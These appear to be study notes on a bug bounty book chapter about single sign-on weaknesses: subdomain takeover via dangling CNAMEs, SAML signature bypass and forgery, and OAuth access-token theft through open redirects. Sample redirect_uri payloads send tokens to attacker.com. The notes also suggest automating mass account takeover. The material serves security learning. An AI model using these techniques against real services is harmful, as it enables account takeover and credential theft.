BBC Ch 20: Single Sign-On (SSO) Security Issues

Source: Bug Bounty Bootcamp by Vickie Li

SSO lets users log in once and access multiple services. Three common implementations: cookie sharing, SAML, and OAuth. Each has unique vulnerabilities.

Sites under the same parent domain can share session cookies using the Domain flag: <code> Set-Cookie: cookie=abc123; Domain=example.com; Secure; HttpOnly ```

This cookie is sent to all subdomains of example.com. Compromise of any subdomain means compromise of all services in the SSO.

When a company uses a third-party service (GitHub Pages, AWS S3, Bitbucket) for a subdomain via a DNS CNAME record, and later removes the third-party page without removing the CNAME, the abandoned record is called a dangling CNAME.

Anyone who registers that third-party URL gains control of the company's subdomain. If cookie-sharing SSO is in use, the attacker can steal session cookies by hosting a script that reads the automatically-sent shared cookies.

Vulnerable providers (as of book publication): AWS, Bitbucket, GitHub Pages Not vulnerable: Squarespace, Google Cloud Full list: https://github.com/EdOverflow/can-i-take-over-xyz/

Hunting subdomain takeovers:

1. Enumerate all subdomains (Amass, Subfinder, Sublist3r)
2. Screenshot each (EyeWitness, Snapper) – look for “There isn't a GitHub Pages site here” or equivalent provider 404 signatures
3. If dangling CNAME found: register the page on the third-party provider; host a harmless PoC page
4. Check whether shared cookies are sent to your newly registered subdomain
5. Build a cron-job monitoring system: 30 10 * * * ./subdomain_takeover.sh

SAML uses signed XML assertions to communicate identity from an identity provider to a service provider: <code xml> <saml:Signature>

<saml:SignatureValue>dXNlcjE=</saml:SignatureValue>

</saml:Signature> <saml:AttributeStatement>

<saml:Attribute Name="username">
  <saml:AttributeValue>user1</saml:AttributeValue>
</saml:Attribute>

</saml:AttributeStatement> ```

Common SAML bugs:

• No signature at all – tamper with the username field directly
• Signature only validated when present – remove the signature field to bypass validation
• Weak/predictable signature – in the example above, the signature is just base64(username); compute base64(“victim_user”) and forge a valid assertion
• Encryption without signature – encryption protects confidentiality, not integrity; encrypted messages can be tampered with

Hunting SAML vulnerabilities:

1. Proxy traffic during login; look for XML or keyword saml (may be base64-encoded)
2. Analyze which fields determine identity (username, email, userID)
3. Tamper with identity fields – if no signature: see if the service provider accepts modified assertions
4. Try removing or emptying the signature field
5. Check whether the signature is predictable (base64, MD5, etc.)
6. Re-encode modified message (SAML Raider Burp extension helps with editing and re-encoding)

OAuth flow: <code> 1. Service provider requests authorization from identity provider:

 identity.com/oauth?client_id=X&response_type=code&state=STATE&redirect_uri=https://example.com/callback&scope=email

2. Identity provider redirects with authorization code:

 https://example.com/callback?authorization_code=abc123&state=STATE

3. Service provider exchanges code for access_token:

 identity.com/oauth/token?client_id=X&client_secret=Y&redirect_uri=https://example.com/callback&code=abc123

4. Identity provider returns access_token:

 https://example.com/callback?#access_token=xyz123

```

access_token is in the URL fragment (#), which survives cross-domain redirects.

Vulnerability: stealing access_token via open redirect in redirect_uri

If example.com has an open redirect at /callback?next= and the OAuth allowlist permits example.com/*: <code> redirect_uri=https://example.com/callback?next=attacker.com ```

Flow: <code> https://example.com/callback?next=attacker.com#access_token=xyz123

1. > https://attacker.com#access_token=xyz123 (attacker sees the token in server logs)

```

Chained redirect via open redirect on another endpoint: <code> redirect_uri=https://example.com/callback?next=example.com/logout?next=attacker.com ```

Referer-based redirect: link to the OAuth login from your malicious page; example.com/callback redirects to the HTTP Referer (your domain); token leaks in the Referer.

Long-lived tokens: test whether tokens remain valid after logout and after password reset.

Hunting OAuth token theft:

1. Confirm OAuth usage: look for the oauth keyword in intercepted traffic
2. Find open redirects on the target domain (Ch7 techniques)
3. Try setting the redirect_uri to an open redirect URL on an allowlisted domain
4. Monitor your server for the incoming token in URL fragment or Referer

• SSO bypass usually enables account takeover – inherently high severity
• Target high-privilege accounts (admin)
• After taking over one account, try to access other services in the same SSO system
• Automate takeover of large numbers of accounts for impact demonstration

1. Identify the SSO mechanism in use (cookie sharing, SAML, OAuth).
2. If cookie sharing: hunt for subdomain takeovers with dangling CNAMEs.
3. If SAML: locate the SAML response; tamper with identity fields; try removing or forging the signature.
4. If OAuth: find open redirects on allowlisted domains; try smuggling the access_token via redirect_uri manipulation.
5. Escalate by targeting admin accounts; draft report with a full account takeover PoC.